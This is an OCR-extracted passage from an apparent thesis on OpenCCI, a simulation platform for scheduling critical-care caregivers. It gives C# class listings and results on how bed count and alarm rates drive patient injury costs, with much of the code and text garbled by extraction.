249 //Minute resolution

250 conf.MinuteResolution = 100;

251 conf.BedCount = 10;

252 conf.VitalSignConfArray = mnew VitalSignConf [3];

253 conf.VitalSignConfArray[0] = new VitalSignConf (2000, 3000, "CardioRate");
254 conf.VitalSignConfArray[1] = new VitalSignConf (3000, 2000, "Respiration");
255 conf.VitalSignConfArray[2] = new VitalSignConf (4000, 1500, "Preasure");
256 conf.FatalitiesConfig = new FatalitiesConf();

257 conf.FatalitiesConfig.FatalityCost = 300;

258 conf.FatalitiesConfig.FatalityServicePeriod = 200;

259 conf.CaregiversCount = 5;

260 conf.CyclicScanLatency = 10;

261 conf.MaxServicePeriod = 150;

262 conf.MinServicePeriod = 15;

263 return conf;

264 }

265 public MainClass( double terminationTime)
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{
Send( this, new TerminationEvent(), terminationTime) ;
Console.WriteLine("Set_to_terminate.in." + terminationTime);
}
override public void Recv(SimEntity src, ISimEvent ev)
{
if (ev.GetType() == typeof(TerminationEvent))
{
Scheduler.Instance () .Stop();
Console.WriteLine("Termination._event._.recieved....");
}
}
override public String GetName ()
{
return "MainClass";
}
public override void Destructor ()
{
// default no—op
}
}
}

8.3 The Critical Care Simulation Platform

8.3.1 Patient Simulation Entity

Usage: The patient simulation entity, simulates the model of agpdinside a critical care
room. Each patient entity holds a set of vital signs, wheoh e#al sign generate an

alarm following a configured poisson mean inter-arrivaldim
DataMembers :

privatei nt _id patient instance identifier.
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private Pat i ent Vi t al Si gn[] _patientVitalSignArr an array that holds all pa-

tient vital-sign instances.

private Si nEnt i t y _eventMediator a reference to a centralized event mediator to

relay the vital sign alarms to the critical care algorithms.
Methods :

publicPat i ent (i nt id, AppLogi cConf conf) the method is a constructor to a

patient instance, taking an identifier and a configuratigeaitas a parameter.

overridepublic St ri ng GetName() the method returns a friendly name or an iden-

tifier to the instance.

publicvoi d SetEventMediator(Si nEnt i t y simEntity) the method passes to the
patient instance a reference to the event mediator, whiahg®ital-sign alarms

to the critical care algorithms.

override publicvoi d Recv Si nEnti ty source, | Si mEvent event) the method
facilitates to this simulation entity to receive an everdgtamce from a source

simulation entity.

override public voi d Destructor () the method allows the instance to deallocate

and free all resources before the termination of the apjica
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using System;
using DES.Framework;
namespace OpenCCI.Simulation
{
public class Patient: SimEntity
{
private int _id;
private PatientVitalSign[] _patientVitalSignArr;
public Patient( int id, AppLogicConf conf)

{
-id = id;
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_patientVitalSignArr = new PatientVitalSign[conf.VitalSignConfArray.Length];
for( int i = 0; i < conf.VitalSignConfArray.Length; i++)

{

_patientVitalSignArr[i] = mnew PatientVitalSign(i,conf.VitalSignConfArrayl[il,
this) ;

}
}

private SimEntity _eventMediator;
public void SetEventMediator(SimEntity simEntity)

{

_eventMediator = simEntity;

}

public SimEntity EventMediator

{

get{ return _eventMediator;}

}

override public void Recv(SimEntity src, ISimEvent ev)
{
// mo—op
}
override public String GetName ()
{
return "Patient[" + _id + "]";
}
public int ID
{
get{ return _id;}
}
public override void Destructor ()
{
// default no—op
}
}
}

8.3.2 \Vital-sign Simulation Entity

Usage: The vital-sign simulation entity holds the charactedstof the patient vital-sign

instance, as well as the injury level and a record of indudzaires.
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DataMembers :

privatedoubl e _alpha the exponential coefficient that represents the gross of the

vital-sign injury after an alarm.

private doubl e _minuteResolution a variable that holds the minute resolution in

terms of the scheduler time notation.
privatei nt _index vital-sign identifier.

private Li st <Al ar nRecor d> _alarmRecords alist of allinduced alarms accrued

to the vital-sign.

private Vi t al Si gnConf _vitalSignConfig a variable which holds the vital sign

configuration values.
Methods :

public VitalSignRecord (i nt index, Vi t al Si gnConf vsConf, i nt minuteRes-
olution) a vital-sign instance constructor that takes the vitahsigntifier and

configuration values as a parameter.

public bool IsAlarming the method return the status of the vital-sigre indi-

cates that the vital-sign is on alarm.

publicvoi d SetAlarm (doubl e alarmTime, Cost Token token) the method sets
the vital-sign instance to alarm, and sets a start time, tgpeae within the cost

token the level of injury reached.

publicLi st <Cost Token> ResetAlarmGetTokens ¢oubl e resetTime) the method
handles the alarm condition and reset the alarm flag retuist aflcomputed

injuries at reset time.

public Li st <doubl e> Getlnjury( doubl e currTime) peeks on the level of in-

juries in the vital-sign instance at current time.
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publicdoubl e GetTimeToDie() computes when an injury level reaches its fatal

level in time units.
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using System;

using DES.

namespace

Framework;

OpenCCI.Simulation

public class PatientVitalSign: SimEntity

{

private
private
private

private

public PatientVitalSign( int id, VitalSignConf conf, Patient patient)

int _id;
double _lambda;
double _vsignAlpha;

Patient _patient;

_id = id;

_patient

_lambda

= patient;

= conf.PoissonLambda;

_vsignAlpha = conf.InjuryCo_Alpha;

double

t = GetTrigerTime () ;

Send( this, new VitalSignTriger(t), t);

}

override

{

if (ev.

{

public void Recv(SimEntity src, ISimEvent ev)

GetType () == typeof(VitalSignTriger))

VitalSignTriger vst = (VitalSignTriger) ev;

Console.WriteLine (GetName () + "_recv_VitalSignTriger.::."+ vst.Poisson);

double t = GetTrigerTime ();

Send( this, new VitalSignTriger(t), t);

Send(_patient.EventMediator,
new VitalSignAlarm(_patient.ID ,_id, _vsignAlpha), 0);

}
}

private

{
double

return

}

override

{

return

double GetTrigerTime ()

t = RandomGenerator.Instance.NextSafePoisson(_lambda);

public String GetName ()

"VitalSign[" + _id + "]-" + _patient.GetName();
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}

public override void Destructor ()
{
// default no—op
}
}

}

8.3.3 Event-mediator Simulation Entity

Usage: The event mediator simulation entity is the central mextighat receives all pa-
tient instances vital-sign alarms and mediates them teeglktered critical care al-
gorithms. This architect and design of the event mediatarantees that all critical
care algorithms under evaluation, are receiving the exanesnput simulated by the

application.
DataMembers :
privatel CCAl gorit hni] _ccAlgorithms an array of all critical care algorithms
under evaluation.

private Cycl e _simCycle the variable holds trace from the critical care algorithms

performance.

private Submi t Resul t s _submitResults holds a method pointer to be invoked

for submitting the simulation results.

Methods :

public EventMediator (I CCAl gorit hni] ccAlgorithms, Submi t Resul t s sub-

mitResults) a constructor to an event mediator instance, it takes aly afra
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concrete critical care algorithms implementation and afeoifor a method to

invoke and submit the simulation results.

override public St ri ng GetName() the method returns a friendly name or identi-

fier to the instance.

override publicvoi d Recv i nEnti ty source, | Si mnEvent event) the method
facilitate to this simulation entity the reception of an evénstance from a

source simulation entity.

override public voi d Destructor () the method allows the instance to deallocate

and free all resources before the termination of the appdica

{

using System;

using DES.Framework;
namespace OpenCCI.Simulation
public delegate void SubmitResults (Cycle cycle);
class EventMediator:

public

{
private ICCAlgorithm []

SimEntity

_ccAlgorithms;
private Cycle _simCycle;

private SubmitResults _submitResults;
public EventMediator (ICCAlgorithm []

{

_simCycle =

ccAlgorithms,

new Cycle();
_ccAlgorithms = ccAlgorithms;

_submitResults = submitResults;

}
override public void Recv(SimEntity src, ISimEvent ev)
{
if (ev.GetType() == typeof (VitalSignAlarm))
{

VitalSignAlarm vsa = (VitalSignAlarm) ev;

Console.WriteLine (" ||" + Scheduler.GetTime() +"||." + GetName() + "_recv.::

VitalSignAlarm.");

foreach(ICCAlgorithm ccAlgorithm in _ccAlgorithms)
{

ccAlgorithm.AlarmNotification(vsa.PatientID, vsa.VsIndex,vsa.VsignAlpha);

SubmitResults submitResults)
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}
}

override public String GetName ()

{

return "EventMediator";

}

public override void Destructor ()
{
for( int i = 0; i < _ccAlgorithms.Length; i++)
{
ICCAlgorithm ccAlgorithm = _ccAlgorithms[i];
ccAlgorithm.CollectRemainingTokens();
Cost cost = ccAlgorithm.GetAlgorithmCost();
_simCycle.Add (cost);
}
_submitResults (_simCycle) ;
}
}
}
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8.3.4 Caregiver Simulation Entity

Usage: The caregiver simulation entity is constructed withinteadtical care algorithm,

representing a set of serving caregivers to the criticad cait patients. Each care-

giver instance is controlled through an algorithm undelwat#on, which controls

assigning the caregiver to patient’s vital sign alarms. €aeegiver performance

within an algorithm is evaluated through the collected ¢okens, assigned to the

instance when it serves a patient in need.

DataMembers :

private st r i ng _-name the variable carries a friendly name or identifier to the in-

stance.
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private statici nt _maxServicePeriod the variable holds the value which represents

the maximum allowed time period for the caregiver to servatept.

private statici nt _minServicePeriod the variable holds the value which represent

the minimum allowed time period for the caregiver to servaent.

private| CCAl gori t hm_parent a pointer to the parent critical care algorithm re-

sponsible for controlling the behavior caregiver instance

private bool _servingFatality a flag identifies the caregiver when it is serving a

code-blue.

private Pat i ent Recor d _assignedPatientRecorda variable that holds the records

of patients alarms.

private doubl e _timeToBeFree the variable holds the time value for when the care-

giver will finish serving the current patient in hand.

Methods :

public Caregiver (st ri ngname,i nt maxServicePeriod, i nt minServicePeriod,
| CCAl gor i t hmparent) a caregiver instance constructor that takes its config-

uration values and the parent critical care algorithm agarpeter.

publicLi st <Cost Token> AssignTo (Pat i ent Recor d patientRecord) the method

assigns the caregiver instance to serve an alarming patient

publicvoi d AssignToFatality(doubl e servicePeriod) the method assigns the care-

giver instance to serve a code-blue.

public bool IsAssigned() the method returns a boolean flag indicating the care-

giver is currently serving a patient.

override publicvoi d Recv Si nEnti ty source, | Si mEvent event) the method

facilitates to the simulation entity the reception of anrdévstance from a
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source simulation instance.

private doubl e ComputeServicePeriod() Li st <doubl e>injuryList) the method

computes the service time needed based on the patient edsejury level.

privatevoi d FreeCaregiver() the method enforces the caregiver to terminate its

current service period.

override public St ri ng GetName() the method returns a friendly name or identi-

fier to the instance.

override public voi d Destructor() the method allows the instance to deallocate and

free all resources before the termination of the applicatio
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{

sing System;
sing System.Collections.Generic;
sing DES.Framework;

amespace OpenCCI.Simulation

public class Caregiver: SimEntity

private string _name;

private static int _maxServicePeriod;
private static 1int _minServicePeriod;
private ICCAlgorithm _parent;

private bool _servingFatality;

public Caregiver (string name, int maxServicePeriod,
int minServicePeriod, ICCAlgorithm parent)

{

_name = "Caregiver" + name;

_assignedPatientRecord = null;

_maxServicePeriod = maxServicePeriod;
_minServicePeriod = minServicePeriod;

_parent = parent;

_servingFatality = false;

}

private PatientRecord _assignedPatientRecord;
public List<CostToken> AssignTo(PatientRecord patientRecord)

{

if (IsAssigned) throw
new Exception("Caregiver._is.already_assigned_to_a_patient.");
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return AssignCaregiver(patientRecord);

}

public void AssignToFatality( double servicePeriod)
{

_servingFatality = +true;

Send( this, mnew FreeCaregiver (), servicePeriod);

}
public bool IsAssigned

{
get
{
bool isAssigned = false;
if ((_assignedPatientRecord != null) || (_servingFatality))
{
isAssigned = true;
}
return isAssigned;
}
}
override public void Recv(SimEntity src, ISimEvent ev)
{
if (ev.GetType() == typeof (FreeCaregiver))
{
//Console.WriteLine (GetName () + " recv FreeCaregiver.");

FreeCaregiver () ;

}
}
private List<CostToken> AssignCaregiver(PatientRecord patientRecord)
{
_assignedPatientRecord = patientRecord;
List<CostToken> costTokenList = _assignedPatientRecord.ServeBy( this);
//Send (this, new FreeCaregiver (), _servicePeriod);
double servPeriod = ComputeServicePeriod(costTokenList);
_timeToBeFree = Scheduler.GetTime() + servPeriod;
Send( this, new FreeCaregiver (), servPeriod);
return costTokenList;
}
double _timeToBeFree;
public double GetDurationToFree()
{
double durationLeft = _timeToBeFree — Scheduler.GetTime () ;

if (durationLeft < 0O)durationLeft = O0;

147




68
69
70
71
72
73
74
75
76
T

78
79
80
81
82
83
84
85
86
87
88

}

{

}

{

}

{

return durationLeft;
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private double ComputeServicePeriod(List<CostToken> costTokenList)

double overallInjury = O;
foreach(CostToken token in costTokenList)

{

overallInjury += token.InjuryValue;
}
double servPeriod = _minServicePeriod +((overalllInjury / 100)
— _minServicePeriod));
return servPeriod;

//return _mazServicePeriod;

*

(_maxServicePeriod

static public double ComputeServicePeriod(List< double> injuryList)

double overallInjury = O;
foreach( double injury in injuryList)

{

overallInjury += injury;
}

double servPeriod = _minServicePeriod +((overalllInjury / 100)
return servPeriod;

//return _mazServicePeriod;

private void FreeCaregiver ()
if (_servingFatality)
{
_servingFatality = false;
}
else
{
_assignedPatientRecord.EndService ();
_assignedPatientRecord = null;
}
if (_parent != null)
{
_parent .CaregiverIsFree(_name) ;
}

*

_maxServicePeriod)
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}
}
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override

{

return

}

public override

{

// default no—op

}

public String GetName ()

_name ;

void Destructor ()

8.3.5 Injury Histogram

Usage: An injury histogram is a mapping that counts the cumulativenber of observa-

tions of injury levels in disjoint cells.

DataMembers :

privatei nt _minorinjury a variable for cumulative number of observations of mi-

nor injury level.

privatei nt _mediuminjury a variable for cumulative number of observations of

medium injury level.

privatei nt _criticallnjury a variable for cumulative number of observations of

critical injury level.

privatei nt _majorPermanentinjury a variable for cumulative number of obser-

vations of major injury level.

privatei nt _fatallnjury a variable for cumulative number of observations of fatal

injury level.

privatedoubl e __totallnjury a variable for cumulative overall injury levels.
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Methods :

public InjuryHistogram() a constructor of an injury level histogram.

publicvoi d Add (doubl e injuryValue, Vi t al Si gnConf vsc) the method ap-
plies a pre-configured injury level bands thresholds tordatee the band rep-

resenting the injury value, and increments the band cetiraaagly.

{

using System;
using System.Xml.Serialization;

namespace OpenCCI.Simulation

[Serializable]

public class InjuryHistogram

private int _minorInjury;
private int _mediumInjury;
private int _criticallnjury;
private int _majorPermanentInjury;
private int _fatallnjury;
private double __totallnjury;
public InjuryHistogram()
{

_minorInjury = 0;
-mediumInjury = 0;
_criticallnjury = O0;
_majorPermanentInjury = 0;
_fatalInjury = O0;
_-totalInjury = 0;
}

private string _tag;
[XmlAttribute ("Tag")]

public string Tag
{

get{ return _tag;}

set{_tag = value;}
}

public void Add( double injuryValue, VitalSignConf vsc)

{

__totallnjury += injuryValue;

if (injuryValue < vsc.MinBandValue)
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{

}

{

}

{

}

{

}

{

_minorInjury ++;
}

else if (injuryValue < vsc.MedBandValue)

{

_mediumInjury ++;

}

else if (injuryValue < vsc.CriBandValue)

{

_criticallnjury ++;

}

else if (injuryValue < vsc.MajBandValue)
{
_majorPermanentInjury ++;

else

_fatalInjury ++;

}
}

public int MinorInjury

get{ return _minorInjury;}

set{_minorInjury = value;}

public int MediumInjury

get{ return _mediumInjury;}

set{_mediumInjury = value;}

public int CriticallInjury

get{ return _criticallInjury;}

set{_criticalInjury = value;}

public int MajorPermanentInjury

get{ return _majorPermanentInjury;}

set{_majorPermanentInjury = value;}

public int FatalInjury
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}

{

}

}
}

152

get{ return _fatallnjury;}

set{_fatallInjury = value;}

public double AccumulatedInjuryValue

get{ return __totalInjury;}

set{__totalInjury = value;}

Us

8.3.6 Average Histogram

age: An average histogram is a mapping that counts the cumelatiimber of ob-
servations of injury levels in disjoint cells, the averaggtdgram cells computes an

average and standard deviation based on the accumulateg vajues.

DataMembers :

private Aver ageCel | _minorinjury a cell for average and standard deviation of

observations of minor injury level.

private Aver ageCel | _mediuminjury a cell for average and standard deviation

of observations of medium injury level.

private Aver ageCel | _criticallnjury a cell for average and standard deviation of

observations of critical injury level.

private Aver ageCel | _majorPermanentinjury a cell for average and standard

deviation of observations of major injury level.

private Aver ageCel | _fatallnjury a cell for average and standard deviation of

observations of fatal injury level.
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Methods :

public HistogramAverage() a constructor for an average histogram instance.

publicvoi d Add (I nj uryHi st ogr amhistogram) the method accumulates an
existing histogram bands to the current instance with maairig the average

and standard deviation.

8.3.6.1 AveragecCell

Usage: The average cell is a computational unit which stores aayaof values, and

maintains the average and standard deviation observed.
DataMembers :

privateLi st <doubl e> _dataList a list of observedloubl e values.
privatedoubl e _avg a variable that holds the computed average.

private doubl e _stddev a variable that holds the computed standard deviation.
Methods :

public AverageCell() a constructor to an average cell instance.
publicvoi d Add(double data) a method that addsagoubl e value to the cell.

privatevoi d ComputeAverage() a method that computes the average of all added

values.

privatevoi d ComputeStdDev() a method that computes the standard deviation of

all added values.

using System;

using System.Collections.Generic;



© 0 N o o B W

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

{

using System.Xml.Serialization;

namespace OpenCCI.Simulation

[Serializable]

public class HistogramAverage

private AverageCell _minorInjury;

private AverageCell _mediumInjury;

private AverageCell _criticallnjury;
private AverageCell _majorPermanentInjury;
private AverageCell _fatallInjury;

private AverageCell __totalInjury;

public HistogramAverage()

{
_minorInjury = mnew AverageCell();
_mediumInjury = mnew AverageCell ();
_criticallnjury = new AverageCell ();
_majorPermanentInjury = new AverageCell ();
_fatalInjury = mnew AverageCell();
__totallInjury = new AverageCell();

}

private string _tag;
[XmlAttribute ("Tag")]
public string Tag
{
get{ return _tag;}
set{_tag = value;}
}
private string _subject;
[XmlAttribute ("Subject")]
public string Subject
{
get{ return _subject;}
set{_subject = value;}
}
private string _compareTo;
[XmlAttribute ("CompareTo")]
public string CompareTo
{
get{ return _compareTo;}

set{_compareTo = value;}
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{

}

{

}

{

}

{

}

{

}

{

}

{

public void Add(InjuryHistogram histogram)

_minorInjury.Add (histogram.MinorInjury) ;

_mediumInjury.Add (histogram.MediumInjury) ;
_criticallnjury.Add (histogram.Criticallnjury);
_majorPermanentInjury.Add(histogram.MajorPermanentInjury) ;
_fatalInjury.Add(histogram.FatalInjury) ;

__totalInjury.Add(histogram.AccumulatedInjuryValue) ;

public void Add(DerivedCompareMetrics metrics)
_minorInjury.Add (metrics.Comp_MinorInjury);
_mediumInjury.Add(metrics.Comp_MediumInjury) ;
_criticalInjury.Add(metrics.Comp_CriticalInjury);
_majorPermanentInjury.Add (metrics.Comp_MajorPermanentInjury);
_fatalInjury.Add (metrics.Comp_FatalInjury);
__totalInjury.Add(metrics.Comp_AccumulatedInjuryValue) ;

public AverageCell MinorInjury

get{ return _minorInjury;}

set{_minorInjury = value;}

public AverageCell MediumInjury

get{ return _mediumInjury;}

set{_mediumInjury = value;}

public AverageCell Criticallnjury

get{ return _criticallnjury;}

set{_criticalInjury = value;}

public AverageCell MajorPermanentInjury

get{ return _majorPermanentInjury;}

set{_majorPermanentInjury = value;}

public AverageCell Fatallnjury

get{ return _fatalInjury;}

set{_fatallInjury = value;}
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}

public AverageCell AccumulatedInjuryValue
{
get{ return __totallnjury;}
set{__totalInjury = value;}
}
}

[Serializable]

public class AverageCell

{
public AverageCell ()
{3
public void Add( double data)
{
if (_datalList == null) _datalist = mnew List< double>();

_datalist .Add (data);
ComputeAverage();
ComputeStdDev () ;
}
private void ComputeAverage()
{

double sum = O0;

foreach( double data in _datalList)

{

sum += data;

}

_avg = sum / _datalist.Count;
}

private void ComputeStdDev ()
{

double sum = O;

double mean = Average;

foreach( double data in _datalList)
{
double deviation = data — mean;
double devSq = deviation * deviation;
sum += devSq;
}
_stddev = Math.Sqrt(sum / _datalList.Count);
}
private List< double> _datalList;

[XmlIgnore]
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}

}

{

}

{

}

{

}

public List< double> Datalist

get{ return _datalist;}

set{_datalist = value;}

private double _avg;

public double Average

get
{
return _avg,;
}
set{_avg = value;}

private double _stddev;

public double stddev

get

{

return _stddev;

}

set{_stddev = value;}
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CHAPTER 9

EXPERIMENTS |: ONE CAREGIVER, MANY PATIENTS, ONE
VITAL SIGN

9.1 Objectives and Methodology

The objective of the following experiment is to determine thaximum system load
with a single caregiver serving alarming patients. Thiseb@&sult determines the maxi-
mum load ratio represented by nurse to patient ratio, suahiftimore patients are added
to the caregiver’s load, fatalities and Code-Blue events daminate. We explore this
guestion under varying alarm frequency, as parameterigatidoPoisson\, and varying
the maximum service period required by the caregiver in hagdhe alarms (i.e. at near

injury=100 levels).

The structure of this experiment comprises three partgpalis share a set of static pa-
rameters. Each part handles a single variable parameterartArmay consist of further
subdivisions, wherein different values are used for théalée parameter. Each part or
division of the experiment explores a dynamic range of \&foe the variable parameter.
Following the scientific method, simulating each value reggimultiple executions of the

simulator with the exact same parametric configurationlitoieate spurious effects.
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9.1.1 Static Parameters

Throughout the experiments described in this chapter, dhewiing parameters are kept

fixed:

Number of experimental trials per single configuration: 30
Simulation Time 480 minutes. This is the equivalent of 8 hours, a standaré day.

Number of Caregivers 1. We keep the system simple, in order to isolate the effefcts o
increased load, without having to consider the interastioetween multiple care-

givers.

Number of Monitored Vital Signs 1. We keep the system simple, in order to isolate the
effects of increased load, without having to consider theractions between multi-

ple co-located vital signs.

Vital Sign (ID; Time to Fatal Injury) (vsg; 6 min). This is the order of magnitude of the

time to Code-Blue for several common critical care condiio

9.2 Results

9.2.1 Partl

Purpose: The purpose of Part 1 is to quantify how increasing the watlof a caregiver
(i.e. the number of beds) impacts the emergence of CodedBluditions within the critical

care unit, for each of the various proposed caregiver sdimggdaigorithms.
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Configured Parameters:

Vital Sign (ID; Poisson \) . The vital sign IDvs; was assumed to generate alarms ac-

cording to a Poisson process with mean inter-arrival tim20ofin.

Caregiver Maximum Service Period . We assume that caregiver service time is linear
in injury. As time passes, injury level approaches 100 erptially, and caregiver

service time approaches its maximum value, which we toolet23min.

Variable Parameters: In this experiment, the Bed Count was varied from 1-15 instdp

1.

The overall simulated time is thus 3600 hours, since thexel&rdifferent values for the

variable parameters, and 8 hours per simulation, repeate0ftrials.

Figure 9.2.1Cost of critical care algorithms with base configuration.

Cost - Base
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25000 |- Fut-Awa ----4---
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20000 e

Cost

15000

10000

5000

-5000

BedCount 1-15

Figure (9.2.1) shows that initially the cost of all algonth are in agreement (at zero),

since the workload of the caregiver is so low that optimaais unnecessary. This parity
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breaks down when the number of beds exceeds 4, and the ayahcsses a dramatic rise
in cost from 0 to 17000 as the number of beds increases fron84 Bwring this interval,
all non-trivial caregiver algorithms facilitated by the @pCCl maintain their optimal zero
cost performance. Finally, when the number of beds incsasgond 8, even the OpenCCl
enabled scheduling algorithms begin to experience nom-@est. This is to be expected,
since at such high workloads, no amount of optimization iresktling can avoid the occur-
rence of patient injury. The rate at which the proposed &lgois experience costs varies:
the Greedy algorithm rises first at 9 beds, while the remgitimmediate, Future-Aware
and Socially-Aware algorithms rise above zero at 10 bedsallyi when the number of
beds is sufficiently high,in excess of 13, the costs of all falgorithms once again coin-
cide, since at this work load, no amount of sophisticatedhdpation can help to lower

patient injuries.

The reader may note that the Cyclic Scan algorithm expeggetiee start of a “phase tran-
sition” at 4 beds, while the Greedy algorithm begins the spheese transition at 9 beds.
The Immediate, Future-Aware and Socially-Aware algorishrim contrast, experience the
phase transition starting at 10 beds. The non-trivial algmrs complete their phase transi-
tion at 13 beds, at which point they re-merge with the pertoroe curve of the naive Cyclic
Scan. The error bars (across multiple trials) tend to belwutdide of the phase transition,
but grow while the phase transitions are occurring. This teayl the reader to question
whether, for example, the Immediate algorithm really otftpens the Greedy algorithm
for 10 beds, or whether the Greedy algorithm really outper®the Cyclic Scan for 10
beds, etc., since the curves lie within a standard deviatfoeach other. The next four
graphs seek to explore the correlations between the variartbe curves (across multiple

experiments).
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Figure 9.2.2Comparative Cost of OpenCCl algorithms with Cyclic-Scan.
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The four graphs of Figure (9.2.2) depict tredative performance of the non-trivial algo-
rithms normalized against the Cyclic Scan. It is importamate that these graphs are not
implied by the earlier Figure (9.2.1), since the normalipedformance is computed for

each trial and the four graphs depict the mean and standard devidtibese normalized

values.

We saw earlier in the exposition of Figure (9.2.1), that tlyeli€ Scan experiences a phase
transition in total cost, beginning at around 4 beds, whénsit begins to experience non-
zero costs. The question remains, what is the nature of timszero cost? Is it all low-level
injuries, or is it a few Code-Blue events, for example? Tongrghis questions requires a

finer grained analysis of patient injury levels. The histogs in Figure (9.2.3) show that
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the phase transition is rapid and bipolar. As the number d$ logcreases from 4 to 6, most
of the costs incurred shift from minimal level injuries tod&sBlue injuries. At 4 beds, the
injuries manifest at minimum and medium levels. At 5 bedsrehare injuries occurring
at all levels, but the majority at at the minimal and CodeeBlevels. By 6 beds, the vast

majority of injuries are at Code-Blue.

Figure 9.2.3Cyclic-Scan transition histograms with base configuration
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The next set of graphs examine the same fine grained questidhd other algorithms,
which we saw earlier in the exposition of Figure (9.2.1) elgrece a phase transition in
total cost as the number of beds goes from 9 to 13. These hastagin Figure (9.2.4)
show that these algorithms, like Cyclic Scan, have a phasesitron which is rapid and

bipolar. At 9 beds, the injuries manifest at minimum and raedievels. At 10 and 11
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beds, there are injuries occurring at all levels, but theonitgjat at the minimal and Code-

Blue levels. By 12 beds, the vast majority of injuries are atl€Blue.

Figure 9.2.40penCCl algorithms transition histograms with base conditjon.
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It is clear from the prior fine-grained analysis, that allalthms keep cost low by uni-
formly keeping injury levels low, but at some threshold tailbe able to achieve this and
begin to tradeoff minimal level injuries for Code-Blue ings. The intermediate injury lev-
els are transient and rare. This tradeoff phenomenon is nadgparent in graph Figure

(9.2.5).
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Figure 9.2.5Phase transition of minimum and fatal injuries with basefigomation.
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9.2.2 Part2

Purpose: The purpose of Part 2 is to quantify how varying the mean 4atgval time of
the vital-sign generated alarms (i.e. the poisson prodegscts the emergence of Code-
Blue conditions within the critical care unit, for each oktharious proposed caregiver

scheduling algorithms.
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Configured Parameters

Vital Sign (ID; Poisson \) . The vital sign IDvs; was set to generate alarms according
to a Poisson process with mean inter-arrival time of 7.5 &nmin, 40 min, and 80

min.

Caregiver Maximum Service Period . We assume that caregiver service time was linear
in injury. As time passes, injury level approaches 100 egptially, and caregiver

service time approaches its maximum value, which we toolet23min.

Variable Parameters: In this part, the configuration parameters varied the \@igh mean
inter-arrival time through 4 different values, and for eadtthose values the Bed Count

was varied from 1-25.

The overall simulated time is thus 24000 hours, since ther@%different values executed
for 4 different values of the mean inter-arrival time, theiable parameters produced 100

configuration set up, and 8 hours per simulation, repeate8fdrials.

The four graphs of Figure (9.2.6) shows that initially thetoaf all algorithms are in agree-
ment (at zero), since the workload of the caregiver is so ltat dptimization is unneces-
sary. This parity breaks down differently for each valuagrssd to the vital sign alarm

mean inter-arrival time.

In graph (a) of Figure (9.2.6) with the vital sign alarm meater-arrival time set to 7.5
min. The parity breaks down when the number of beds exceedadithe cyclic scan
sees a dramatic rise in cost from 0 to 42000 as the number of ineckases from 4 to
7. During this interval, all non-trivial caregiver algdrins facilitated by the OpenCCI
maintain their optimal zero cost performance. Finally, whige number of beds increases

beyond 7, even the OpenCCl enabled scheduling algorithgis be experience non-zero
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Figure 9.2.6Cost of critical care algorithms in Expl1 Part2 wikty.5 min, 15 min, 40 min
and 80 min.
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cost. This is to be expected, since at such high workloadsgmount of optimization
in scheduling can avoid the occurrence of patient injurye Tdite at which the proposed
algorithms experience costs varies: the Greedy algoritni@mediate show a marginal
higher cost over the remaining Future-Aware and Sociallya#e algorithms. Finally, when
the number of beds is sufficiently high, in excess of 10, tletscof all four algorithms once

again coincide.

In graph (b) of Figure (9.2.6) with the vital sign alarm meater-arrival time set to 15
min. The parity breaks down when the number of beds exceedsadithe cyclic scan

sees a dramatic rise in cost from 0 to 25000 as the number sfihedtases from 4 to 8.
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As the number of beds increases beyond 8, the OpenCCl ensditeduling algorithms
begin to experience non-zero cost. The rate at which theggexpalgorithms experience
costs varies: notice the different behavior from graph li@ye only the Greedy and the
Immediate algorithm rises first, at 9 beds, while the Futusewe and Socially-Aware

algorithms rise above zero at 10 beds. And all algorithmsaide in excess of 11 beds.

In graph (c) of Figure (9.2.6) with the vital sign alarm meater-arrival time set to 40 min.
The parity breaks down when the number of beds exceeds Shamydlic scan sees a rise
in cost from 0 to 9000 as the number of beds increases from 54s ¢he number of beds
increases beyond 9, the OpenCCI enabled scheduling &garibegin to experience non-
zero cost. The rate at which the proposed algorithms expegieosts varies: notice the
different behavior from graph (a,b), here only the Greedyathm rises first, at 10 beds,
followed by the Immediate algorithm, at 11 beds, while théuFerAware and Socially-
Aware algorithms rise above zero at 12 beds. Then all algostcoincide in excess of 15

beds.

In graph (d) of Figure (9.2.6) with the vital sign alarm meater-arrival time set to 80 min.

The parity breaks down when the number of beds exceeds Shamgtlic scan sees arise
in cost from 0 to 5000 as the number of beds increases from 5Notce that the increase
of the alarm mean inter-arrival time reduced in order of niagie the observed cost in
each algorithm. And it follows, as the number of beds inazsdseyond 10, the OpenCClI
enabled scheduling algorithms begin to experience nom-zest. The rate at which the
proposed algorithms experience costs varies: first onlyGiteedy algorithm rises first, at
11 beds, followed by the Immediate algorithm, at 12 beds]eniie Future-Aware and

Socially-Aware algorithms rise above zero at 13 beds. Kinad excess of 19 beds, the

costs of all four algorithms once again coincide.
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Figure 9.2.7Phase transition of Cyclic-Scan vs Greedy in Expl Part2 with5 min, 15
min, 40 min and 80 min.
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The four graphs in Figure (9.2.7) compare the Cyclic ScahédGreedy algorithm break
points for different values ok. In graph (a) we observe the comparative transition of the
Cyclic Scan algorithm versus the Greedy algorithm, forhatgn alarm mean inter-arrival
time set to 7.5 min, showing the transition at 4 and 8 bedsectyely. With the mean
inter-arrival time set to 15 min, only the Greedy algorithiffested from graph (a) and
shows the transition at 9 beds. In graph (c) both the CyclanSind Greedy algorithms
shift forward in their transitions at 5 beds, 10 beds respelgt with the mean inter-arrival
time set to 40 min. Finally, with the vital sign mean interhzal time set to 80 min, similar

to graph (c) both the Cyclic Scan and Greedy algorithms &biifvard in their transitions

at 6 beds, 11 beds respectively.
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Figure 9.2.8Phase transition of Cyclic-Scan vs Immediate-DispatchxplEPart2 with\
7.5 min, 15 min, 40 min and 80 min.

Cyclic-Scan-Algorithm compared to Immediate-Dispatch-Algorithm - lambda 750 Cyclic-Scan-Algorithm compared to Immediate-Dispatch-Algorithm - lambda 1500
1000 500
> %a
ed” o
800 T p— 400 .
CSpy -0 et T ey
My - -o-- - 7 o
I Fat A s '
600 O 300 A
L@
s
= 27 H &
3 400 & 3 200 A
1] L 8 2
.- »
. ; i g o’
200 ST : 100 e ;
i k &
3 : . I .. ) . L
o . - o g .
-200 -100
0 2 4 6 8 10 12 14 16 0 2 4 6 8 10 12 14 16
BedCount 1-15 BedCount 1-15
Cycl Igorithm compared to Dispatch-Algorithm - lambda 4000 Cycli Igorithm compared to Dispatch-Algorithm - lambda 8000
250 120
gl
<'0’ r'y
- 100 Ll
L e [T : >
200 I Eiiin < w o Coun 8- o
ICMSFat -6 o ol My - - - o
e ; Im o
150 - ek B
e
. g 60 .
g L8 g o
